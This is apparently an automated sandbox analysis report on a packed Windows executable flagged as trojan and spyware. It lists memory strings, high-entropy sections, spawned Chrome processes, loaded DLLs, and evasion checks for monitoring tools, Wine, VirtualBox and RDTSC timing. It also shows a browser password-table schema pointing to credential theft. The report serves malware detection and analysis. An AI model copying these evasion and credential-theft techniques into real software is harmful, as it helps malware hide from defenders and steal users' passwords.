Source: file.exe, 00000000.00000003.2407320164.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2411311744.0000000005EEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409938512.0000000005CAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402559325.0000000005905000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410646506.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410897447.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2411653228.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403104712.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409540159.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2414518417.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447117000.0000000005818000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2410521128.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2411041966.0000000005DC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410396282.0000000005ECE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2401003496.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405263073.0000000005D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447084730.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2400694981.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2404529299.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406835049.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2404715137.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409677877.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2526448163.0000000005827000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2416343849.0000000005F2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403583793.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2400573584.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2401381394.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409099440.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2401087023.0000000005905000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406601899.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405826875.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2412849289.0000000005DD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406931312.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407119921.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2413485102.0000000005CB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2416497896.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405001642.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2417078173.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2401262683.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408294959.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2411797644.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410175132.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408402535.0000000005DB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2415217581.0000000005DED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402464049.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407570640.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405944857.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405357362.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403755916.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2413794013.0000000005DEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407461293.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2404623875.0000000005CAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446746915.000000000583F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447011927.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2523718524.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2416787862.0000000005F3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403432792.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2412290281.0000000005DC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408964786.0000000005EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403501629.0000000005D52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405185073.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405729909.0000000005CAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407762427.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408181600.0000000005E8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2411496951.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2414095451.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405473538.0000000005D69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403274227.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446720233.00000000058BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410769052.0000000005EDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2527425501.000000000621F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2400788633.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408510183.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2400788633.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402724986.0000000005D47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410056471.0000000005DB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2412126537.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9992827868852459
Source: file.exe	Static PE information: Section: jxtnelfl ZLIB complexity 0.9944768137442572

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@11/6

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2195391821.000000000583A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219203965.0000000005840000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195656511.000000000581C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1996,i,2893088172898688717,8554445924697785723,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1768,i,17015382825324976768,322143472071585607,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1996,i,2893088172898688717,8554445924697785723,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1768,i,17015382825324976768,322143472071585607,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1843200 > 1048576

Source: file.exe

Static PE information: Raw size of jxtnelfl is bigger than: 0x100000 < 0x198200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.530000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jxtnelfl:EW;rvplshpx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jxtnelfl:EW;rvplshpx:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cda6d should be: 0x1c5d2b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jxtnelfl
Source: file.exe	Static PE information: section name: rvplshpx
Source: file.exe	Static PE information: section name: .taggant

Source: file.exe	Static PE information: section name: entropy: 7.977701405787862
Source: file.exe	Static PE information: section name: jxtnelfl entropy: 7.953471717549014

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58D012 second address: 58D016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
